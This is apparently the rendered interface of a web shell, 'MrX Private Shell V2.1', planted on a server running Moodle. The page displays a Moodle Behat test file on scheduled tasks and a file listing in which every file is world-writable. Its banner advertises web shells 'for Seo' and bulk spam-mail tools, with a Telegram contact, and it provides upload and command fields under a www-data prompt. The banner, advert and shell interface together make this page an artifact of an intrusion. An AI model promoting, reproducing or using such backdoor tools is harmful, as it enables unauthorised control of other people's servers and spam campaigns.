__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@tool @tool_task
Feature: See running scheduled tasks
  In order to configure scheduled tasks
  As an admin
  I need to see if tasks are running

  Background:
    Given I log in as "admin"

  Scenario: If no task is running, I should see the corresponding message
    Given I navigate to "Server > Tasks > Tasks running now" in site administration
    Then I should see "Nothing to display"

  Scenario: If tasks are running, I should see task details
    Given the following "tool_task > scheduled tasks" exist:
      | classname                            | seconds | hostname     | pid  |
      | \core\task\automated_backup_task     | 121     | c69335460f7f | 1914 |
    And the following "tool_task > adhoc tasks" exist:
      | classname                            | seconds | hostname     | pid  |
      | \core\task\asynchronous_backup_task  | 7201    | c69335460f7f | 1915 |
      | \core\task\asynchronous_restore_task | 172800  | c69335460f7f | 1916 |
    And I navigate to "Server > Tasks > Tasks running now" in site administration

    # Check the scheduled task details.
    Then I should see "Scheduled" in the "\core\task\automated_backup_task" "table_row"
    And I should see "2 mins" in the "Automated backups" "table_row"
    And I should see "c69335460f7f" in the "Automated backups" "table_row"
    And I should see "1914" in the "Automated backups" "table_row"

    # Check the "asynchronous_backup_task" adhoc task details.
    And I should see "Ad hoc" in the "\core\task\asynchronous_backup_task" "table_row"
    And I should see "2 hours" in the "core\task\asynchronous_backup_task" "table_row"
    And I should see "c69335460f7f" in the "core\task\asynchronous_backup_task" "table_row"
    And I should see "1915" in the "core\task\asynchronous_backup_task" "table_row"

    # Check the "asynchronous_restore_task" adhoc task details.
    And I should see "Ad hoc" in the "\core\task\asynchronous_restore_task" "table_row"
    And I should see "2 days" in the "core\task\asynchronous_restore_task" "table_row"
    And I should see "c69335460f7f" in the "core\task\asynchronous_restore_task" "table_row"
    And I should see "1916" in the "core\task\asynchronous_restore_task" "table_row"

  @javascript
  Scenario: If a task with a stored progress bar is running, I should be able to observe the progress.
    Given the following config values are set as admin:
      | progresspollinterval | 1 |
    And the following "tool_task > scheduled tasks" exist:
      | classname                                | seconds | hostname     | pid  |
      | \core\task\delete_unconfirmed_users_task | 120     | c69335460f7f | 1917 |
    And the following "stored progress bars" exist:
      | idnumber                                | percent |
      | core_task_delete_unconfirmed_users_task | 50.00   |
    And I navigate to "Server > Tasks > Tasks running now" in site administration
    And I should see "2 mins" in the "Delete unconfirmed users" "table_row"
    And I should see "c69335460f7f" in the "Delete unconfirmed users" "table_row"
    And I should see "1917" in the "Delete unconfirmed users" "table_row"
    And I should see "50.0%" in the "Delete unconfirmed users" "table_row"
    When I set the stored progress bar "core_task_delete_unconfirmed_users_task" to "75.00"
    # Wait for the progress polling.
    And I wait "1" seconds
    Then I should not see "50.0%" in the "Delete unconfirmed users" "table_row"
    And I should see "75.0%" in the "Delete unconfirmed users" "table_row"

Filemanager

Name Type Size Permission Actions
behat_tool_task.php File 1.93 KB 0777
clear_fail_delay.feature File 1.46 KB 0777
cron_disabled.feature File 773 B 0777
manage_tasks.feature File 4.03 KB 0777
running_tasks.feature File 3.44 KB 0777
Filemanager